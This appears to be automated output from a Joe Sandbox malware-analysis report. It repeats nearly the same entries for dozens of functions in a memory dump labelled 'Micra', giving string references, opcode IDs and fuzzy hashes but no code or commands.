Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 06b0dd8457b0fd5938aaad43c6907ce6a4fb6bdddfd346de1d43d5ff6b463cd2
Instruction ID: 97ce46a6b92bbeb12c57aae87b35e70812f060e85af01d386fcb84d29dd71876
Opcode Fuzzy Hash: 06b0dd8457b0fd5938aaad43c6907ce6a4fb6bdddfd346de1d43d5ff6b463cd2
Instruction Fuzzy Hash: AB726986E2E31A9AFF87B071C5016A15B80DF2F582F238F67983671961772F4ACE05D4

Function 03191697 Relevance: 2.6, Strings: 1, Instructions: 1330COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: c2bc9211532db9549e632532f06a6dc80b409e03938582575fe0cc25bc24685c
Instruction ID: 0671dd9382df54356ab1d32426e81739d5f89d2917318c8b842b6e0cce95e460
Opcode Fuzzy Hash: c2bc9211532db9549e632532f06a6dc80b409e03938582575fe0cc25bc24685c
Instruction Fuzzy Hash: 04726886E2E31A9AFF87B071C5016A15B80DF2F582F238F67983671961772F4ACE05D4

Function 03191782 Relevance: 2.6, Strings: 1, Instructions: 1327COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 253f4910464d4a7f8d1c05d93ce21da3c6fdd1bd200499f72644e253e5f89549
Instruction ID: efa2e8667f80cc336058a51be5826b8b34a9c02cc9118c791e4550f0c1c4e77a
Opcode Fuzzy Hash: 253f4910464d4a7f8d1c05d93ce21da3c6fdd1bd200499f72644e253e5f89549
Instruction Fuzzy Hash: D6727986E2E31A9AFF87B070C5016A55B80DF2F182F238F67983671961772F4ACE05D4

Function 031916FE Relevance: 2.6, Strings: 1, Instructions: 1325COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 8c224e3a2a1d46eb3458d920152f240aa7a9891572cb1a339b5a6370c8f6284c
Instruction ID: 46570175fb8546b36e08a01841d9697193fec84b2614486d8d760a9aa6be9493
Opcode Fuzzy Hash: 8c224e3a2a1d46eb3458d920152f240aa7a9891572cb1a339b5a6370c8f6284c
Instruction Fuzzy Hash: 6A727A86E2E31A9AFF87B070C5016A15B80DF2F182F238F67983671961772F4ACE05D4

Function 031917F9 Relevance: 2.5, Strings: 1, Instructions: 1282COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: ad43e13aa9e12ec79c883f07caac39505636cf82a961d000de9595999ae59786
Instruction ID: b47eb5ebb04d4dab5f9d2861b320f71f6362366cfcf56542bf295091e834e696
Opcode Fuzzy Hash: ad43e13aa9e12ec79c883f07caac39505636cf82a961d000de9595999ae59786
Instruction Fuzzy Hash: 13726886E2E31A9AFF97B071C5016A15B80DF2F182F238F67983671961772F4ACE05D4

Function 031917DD Relevance: 2.5, Strings: 1, Instructions: 1280COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 7712946ed233d2f1c29de82fe69ee6fa485e7a8c643d93e745553b5826124d0f
Instruction ID: 73e12c96aa873ed3c9b0dc0ffc8e34da194db2553698f3f0596f2cf35bfac955
Opcode Fuzzy Hash: 7712946ed233d2f1c29de82fe69ee6fa485e7a8c643d93e745553b5826124d0f
Instruction Fuzzy Hash: A6727986E2E31A9AFF87B071C5016A15B80DF2F182F238F67983671961772F4ACE05D4

Function 03191A6C Relevance: 2.5, Strings: 1, Instructions: 1221COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: a474ba8d932493af8cf7605576755d30553e3e6a1d1521c96dab9caeed88618a
Instruction ID: 6fced1d1fc9321d209f7430a06e33e4c688f0b2e724fe6f096bf73aee158cb60
Opcode Fuzzy Hash: a474ba8d932493af8cf7605576755d30553e3e6a1d1521c96dab9caeed88618a
Instruction Fuzzy Hash: 88626846E2E31A9AFF97A030C5416A55B80DF2F182F238F679836719A1772F4ACF05D4

Function 03191ACD Relevance: 2.5, Strings: 1, Instructions: 1218COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: b7849a4d9020c3a92c48a96949a00e5b4b2dbf29b539bd0f31b99ca04fcb6c54
Instruction ID: 69b91a6971f4a4638d021f978257afe60db0acf9a9d5f6b1db523d6dcfe505d6
Opcode Fuzzy Hash: b7849a4d9020c3a92c48a96949a00e5b4b2dbf29b539bd0f31b99ca04fcb6c54
Instruction Fuzzy Hash: F1627946E2E31A9AFF97B070C5416A15B80DF2F182B238F679836719A1772F4ACF05D4

Function 03191A53 Relevance: 2.4, Strings: 1, Instructions: 1200COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: de9da95e7ec657c7afec377d7fb075822024b2370def0e68240cecf317d6cf32
Instruction ID: ba44a4605def35d05ca6ff054d3f2697c92ce190eca4a3efc7a0a397c50d18c1
Opcode Fuzzy Hash: de9da95e7ec657c7afec377d7fb075822024b2370def0e68240cecf317d6cf32
Instruction Fuzzy Hash: 4D627986E2E31A9AFF97B070C5416A15B80DF2F182B238F67983671961772F4ACF05D4

Function 03191AAE Relevance: 2.4, Strings: 1, Instructions: 1187COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 6b718187e17e81f5a9decef24ddadc04626d21fd826aec6b5791e750f67683e5
Instruction ID: a893dea7d3c42885e1d6e55a5d6ab0d8c2f2199189d94a1c6f1014ad6628c398
Opcode Fuzzy Hash: 6b718187e17e81f5a9decef24ddadc04626d21fd826aec6b5791e750f67683e5
Instruction Fuzzy Hash: 80626846E2E31A9AFF97A070C5016A15B80DF2F582F238F67983671961772F4ACF05D4

Function 03191B46 Relevance: 2.4, Strings: 1, Instructions: 1174COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 2880700fd96b06e86e30a2326e54d76e0894daa7e907db9950c7d9f374be15cf
Instruction ID: 92dbc641ad084f7bc25abebccd26182416d121a3f1175146ea2ea7fbcf296ace
Opcode Fuzzy Hash: 2880700fd96b06e86e30a2326e54d76e0894daa7e907db9950c7d9f374be15cf
Instruction Fuzzy Hash: D5627946E2E31A9AFF97A070C5016A15B80DF2F182F238F679836719A1772F4ACF05D4

Function 03191B94 Relevance: 2.4, Strings: 1, Instructions: 1157COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: babbe5169da232d70ba1793ecd583dac609a05f609df06875b2873953faf8b36
Instruction ID: c62176d2acd3276c7de05ded603c030febabed08c931a626904e5df6fdb0d7b9
Opcode Fuzzy Hash: babbe5169da232d70ba1793ecd583dac609a05f609df06875b2873953faf8b36
Instruction Fuzzy Hash: 77527846E2E31A9AFF97A070C5016A15B80DF2F182F238F679836719A1772F4ACF05D4

Function 03191BE3 Relevance: 2.4, Strings: 1, Instructions: 1151COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: ed64453796d1ad8ebd86fea305e57cf432f91f07232217dca10f28b578a56edd
Instruction ID: 718d69e9bf4cb758fbeb2394e02ab6cbeda3ef21a4a7f118f84e9cf75905bd8b
Opcode Fuzzy Hash: ed64453796d1ad8ebd86fea305e57cf432f91f07232217dca10f28b578a56edd
Instruction Fuzzy Hash: 27527746E2E31A9AFF97A070C5016A15B80DF2F182F238F679836719A1772F4ACF05D4

Function 03191E2E Relevance: 2.3, Strings: 1, Instructions: 1080COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: d341ac24ac99842ce369e7d9f0dc7bf009f11098515aaf78696c74d160a1691d
Instruction ID: 149cacccab72144af584ffcabac1c26070a719bf3d3a4ddc2c85f621ae00a1f9
Opcode Fuzzy Hash: d341ac24ac99842ce369e7d9f0dc7bf009f11098515aaf78696c74d160a1691d
Instruction Fuzzy Hash: 8E528986E2E31A9AFF97A071C5016A15B80DF2F182F238F579836719A1772F4ACF05D4

Function 03191EF7 Relevance: 2.3, Strings: 1, Instructions: 1078COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 60d6721a0aa2eccd45e2684266cd174b4c77f41b4bf4dcb31655b1e7717d9144
Instruction ID: de4a1befe2a2b98318c52af68700e730915e23a1b7ffd546017653914b36934e
Opcode Fuzzy Hash: 60d6721a0aa2eccd45e2684266cd174b4c77f41b4bf4dcb31655b1e7717d9144
Instruction Fuzzy Hash: 0A529986E2E31A9AFF97A070C5016A15B80DF2F182F238F579836719A1772F4ACF05D4

Function 03191E6A Relevance: 2.3, Strings: 1, Instructions: 1069COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 9ef1105cfe8ee5ce3a2c6f30c1ee166fe73fbf844a28cf06de75b43cce31388e
Instruction ID: e669f9f6516289263e5730da4ed25e9f7aa3cd29a09b0e8863ea892b14954a06
Opcode Fuzzy Hash: 9ef1105cfe8ee5ce3a2c6f30c1ee166fe73fbf844a28cf06de75b43cce31388e
Instruction Fuzzy Hash: 0F528886E2E31A9AFF97A071C5016A15B80DF2F582F238F579836719A1372F4ACF05D4

Function 03191EB8 Relevance: 2.3, Strings: 1, Instructions: 1061COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: e1da889ef1290a99dfd0865e1480ecc909506c5044a3a6f8af0cbcfd0b7ed398
Instruction ID: 3a5a81580bb150548494934ab7ec507ed93b3a0e9bda3641bbe757a07d08fc22
Opcode Fuzzy Hash: e1da889ef1290a99dfd0865e1480ecc909506c5044a3a6f8af0cbcfd0b7ed398
Instruction Fuzzy Hash: 89528786E2E31A9AFF97A170C5016A15B80DF2F182F238F579836719A1772F4ACF05D4

Function 03191F23 Relevance: 2.3, Strings: 1, Instructions: 1054COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 9e9402d4c7fc705d9d8100b1fef71ff6e499cdb19347b6568b9771e2a44cbbd3
Instruction ID: 412d9c1b18c3ecfda211bb988f17ec684b61bb7750cfe1e01b0c81e157a63c40
Opcode Fuzzy Hash: 9e9402d4c7fc705d9d8100b1fef71ff6e499cdb19347b6568b9771e2a44cbbd3
Instruction Fuzzy Hash: 66528886E2E71A9AFF97A170C5016A15B80DF2F182F238F579836719A1772F4ACF05C4

Function 03191F5D Relevance: 2.3, Strings: 1, Instructions: 1045COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 2d3536984f0cb555881c7bf2fed5659b8a92ae3a1b8f36fb5c03204102d5d3c1
Instruction ID: 4031cb9d2b0f71c628949a77cbc21d611201310d288f07973dc72c8ac7fc87d7
Opcode Fuzzy Hash: 2d3536984f0cb555881c7bf2fed5659b8a92ae3a1b8f36fb5c03204102d5d3c1
Instruction Fuzzy Hash: 02527786E2E71A9AFF97A170C5016A15B80DF2F182F238F579836719A1772F4ACF05C4

Function 03191FF9 Relevance: 2.3, Strings: 1, Instructions: 1021COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 41a5b7a5141a30a95f3bc628b3d93f456cb9e20e43c595a4a42a32a8f3b1c3ad
Instruction ID: 2ac691e04e7d654092288d0ce7f4f435fa1b8335613c40cb007e70bd8dccad6f
Opcode Fuzzy Hash: 41a5b7a5141a30a95f3bc628b3d93f456cb9e20e43c595a4a42a32a8f3b1c3ad
Instruction Fuzzy Hash: 2F427686E2E31A9AFF97A170C5016A15B80DF2F182F238F579836719A1372F4ACF05D4

Function 031922B0 Relevance: 2.2, Strings: 1, Instructions: 949COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 4de271ab86cd244f332d5e00c700479971c61cf86430d3fc2330368b4ffe8cc4
Instruction ID: 6365be98df0446b8a4cc132c5648978062166ea88d34c13b59e3399a57bdaf0a
Opcode Fuzzy Hash: 4de271ab86cd244f332d5e00c700479971c61cf86430d3fc2330368b4ffe8cc4
Instruction Fuzzy Hash: D9429846E2E31A9AFF97A170C5416A15B80DF2F1C2B238F579836719A1772F4ACF05C4

Function 0319222D Relevance: 2.2, Strings: 1, Instructions: 944COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 8fff8a6bb0191d6bfb4dd1452fbe73a3c30a941cab7fa5ae1cdb7d4b60323c5a
Instruction ID: 4e3efbf67512800451f9e590ae36ca5bbcc81d0e5bd51f69fa5380f662c856dd
Opcode Fuzzy Hash: 8fff8a6bb0191d6bfb4dd1452fbe73a3c30a941cab7fa5ae1cdb7d4b60323c5a
Instruction Fuzzy Hash: E4329886E2E31A9AFE97A171C5416A15B80DF2F1C2F238F579836719A1372F4ACF05C4

Function 03192278 Relevance: 2.2, Strings: 1, Instructions: 942COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 923d93784cf9ec374a93c2750b039285a7c7f1fc27cee0c0ed45d6a092ce8bcf
Instruction ID: 85717960373f05b78844c9ecfa7b45c072b0231f72dbe2f2f91b3f964c3ce04c
Opcode Fuzzy Hash: 923d93784cf9ec374a93c2750b039285a7c7f1fc27cee0c0ed45d6a092ce8bcf
Instruction Fuzzy Hash: B9329886E2E31A9AFE97A071C5416A15B80DF2F1C2F238F579836719A1772F4ACF05C4

Function 03192261 Relevance: 2.2, Strings: 1, Instructions: 940COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: c971a566b491d6dba10eed0f25d867b9d851b3eb938988c71b2e38a2a8246e93
Instruction ID: e9c131c27ccbba1211852bf613324b04b4ab3978648c3f7e9c1e84e15c8efa68
Opcode Fuzzy Hash: c971a566b491d6dba10eed0f25d867b9d851b3eb938988c71b2e38a2a8246e93
Instruction Fuzzy Hash: 22329886E2E31A9AFE97A171C5416A15B80DF2F1C2F238F579836719A1372F4ACF05C4

Function 03192312 Relevance: 2.2, Strings: 1, Instructions: 931COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 9adb4be9591f14116c04b86cf9bd350005a9ba84799d01c22352fae2cb4368e7
Instruction ID: 309708a7ac8b0a8ed0248da3c38adce78e90f4e88574228bf44e605b28c6bfc7
Opcode Fuzzy Hash: 9adb4be9591f14116c04b86cf9bd350005a9ba84799d01c22352fae2cb4368e7
Instruction Fuzzy Hash: A6328846E2E31A9AFF97A170C5416A15B80DF2F182B238F5B9836719A1772F4ACF05C4

Function 03192389 Relevance: 2.2, Strings: 1, Instructions: 930COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 42cd0b2f366265d979753f1551ca629a3c70a22c6f0232c2580284f4ee902dbf
Instruction ID: 2c39bf81bce132b9fcba757c53067819e5c6275617c383c1faf2584190ad4fe4
Opcode Fuzzy Hash: 42cd0b2f366265d979753f1551ca629a3c70a22c6f0232c2580284f4ee902dbf
Instruction Fuzzy Hash: 36329A46E2E31A9AFF97A170C5416A15B80DF2B1C2B238F579836719A1772F4ACF05C4

Function 031923A8 Relevance: 2.2, Strings: 1, Instructions: 921COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: f860ab24fdc28943c7e840d692deb9c807403b6295d676020a7a3296d95b1eba
Instruction ID: 2e682004f62e4dada55bc19bdd8a657a4d214f371c332a3654a15013bca8e5e8
Opcode Fuzzy Hash: f860ab24fdc28943c7e840d692deb9c807403b6295d676020a7a3296d95b1eba
Instruction Fuzzy Hash: FE328986E2E31A9AFE97A170C5416A15B80DF2F1C2F238F579836719A1772F4ACF05C4

Function 031923C2 Relevance: 2.2, Strings: 1, Instructions: 901COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 8a091ba0ed11bdad239613394b430df47446e488d0ef1538defc52198526873b
Instruction ID: e8ab0aa10f69b7b17d99dcabea49252e3cc01332ca21187468c1accf9bbc9a2b
Opcode Fuzzy Hash: 8a091ba0ed11bdad239613394b430df47446e488d0ef1538defc52198526873b
Instruction Fuzzy Hash: 6F328846E2E31A9AFE97A170C5416A15B80DF2F1C2B238F579836719A1772F4ACF05C4

Function 03192647 Relevance: 2.1, Strings: 1, Instructions: 828COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 3aa342fb56b34f3aa28757ce9b30298a2d1d96c97d2ca672ab8a6362bf713b91
Instruction ID: 8c920240356f2b19986cad6534836410222ac2cc6b29be2b656fce4367ef52e0
Opcode Fuzzy Hash: 3aa342fb56b34f3aa28757ce9b30298a2d1d96c97d2ca672ab8a6362bf713b91
Instruction Fuzzy Hash: 09227886E2E31A9AFF97A170C5016A15B80DF2F182F238F579836719A1772F4ACF05D4

Function 03192613 Relevance: 2.1, Strings: 1, Instructions: 821COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 268cadd8e9cf2bd357bf1a2d2832ccfee255390cf7f86a9eab27c45cad8d1531
Instruction ID: f4d2eba7e1b28d51a8b25d197e68ddae0e8a8e6c68cff6afd5813cc2a07e0615
Opcode Fuzzy Hash: 268cadd8e9cf2bd357bf1a2d2832ccfee255390cf7f86a9eab27c45cad8d1531
Instruction Fuzzy Hash: C7227886E2E31A9AFF97A170C5016A15B80DF2B182F238F579836719A1772F4ACF05D4

Function 03192681 Relevance: 2.1, Strings: 1, Instructions: 807COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: ba565394eb34af11208b762b9965f2a7e8edc49fe45aaf137494d14bd774141e
Instruction ID: c49f8093ff6941bccd3352f3a339bd9f7b75e1ae78b33073a823f1b9f9d43302
Opcode Fuzzy Hash: ba565394eb34af11208b762b9965f2a7e8edc49fe45aaf137494d14bd774141e
Instruction Fuzzy Hash: 5E228886E2E31A9AFF97A170C5016A15B80DF2B1C2F238F579836719A1772F4ACF05D4

Function 031926A8 Relevance: 2.1, Strings: 1, Instructions: 805COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 7c06b7448467c47bd7ccefdd5198c67f9b958c402f58ef2e9c19af9239d40359
Instruction ID: 92bb764109c40e0866d0721d96ef5eef2aad72b2df190636404f767966fe07f8
Opcode Fuzzy Hash: 7c06b7448467c47bd7ccefdd5198c67f9b958c402f58ef2e9c19af9239d40359
Instruction Fuzzy Hash: 19228886E2E31A9AFF97A170C5016A15B80DF2B1C2F238F579836719A1772F4ACF05D4

Function 031926E9 Relevance: 2.0, Strings: 1, Instructions: 792COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 0bd68921010dfc0db2379ffbcfcc0353c93d7cf96d6b87fe3ae1f87adcef44d2
Instruction ID: 6476938f4ea8fcf748e3bcc1f77c28d93550b9c31a68827562b9398b187fbac1
Opcode Fuzzy Hash: 0bd68921010dfc0db2379ffbcfcc0353c93d7cf96d6b87fe3ae1f87adcef44d2
Instruction Fuzzy Hash: F7227786E2E31A9AFF97A170C5016A15B80DF2B1C2F238F579836719A1772F4ACF05D4

Function 031927FE Relevance: 2.0, Strings: 1, Instructions: 788COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 50fad88403f9b82071bed411dcd1764af58fd2390b8347f41476725c32de0461
Instruction ID: 5260b56b565be30b718fdbd333b4ace0ca5afc0f945731727e763c23b843ffa4
Opcode Fuzzy Hash: 50fad88403f9b82071bed411dcd1764af58fd2390b8347f41476725c32de0461
Instruction Fuzzy Hash: 4A228A86E2E31A9AFF97A170C5016A15B80DF2F1C2B238F579836719A5772F4ACF05C4

Function 031927C6 Relevance: 2.0, Strings: 1, Instructions: 787COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: a0cd4a80a9fef02bbe1fc4bbb1aa5534793880a47eb513c47c61ed71f6c5cc4e
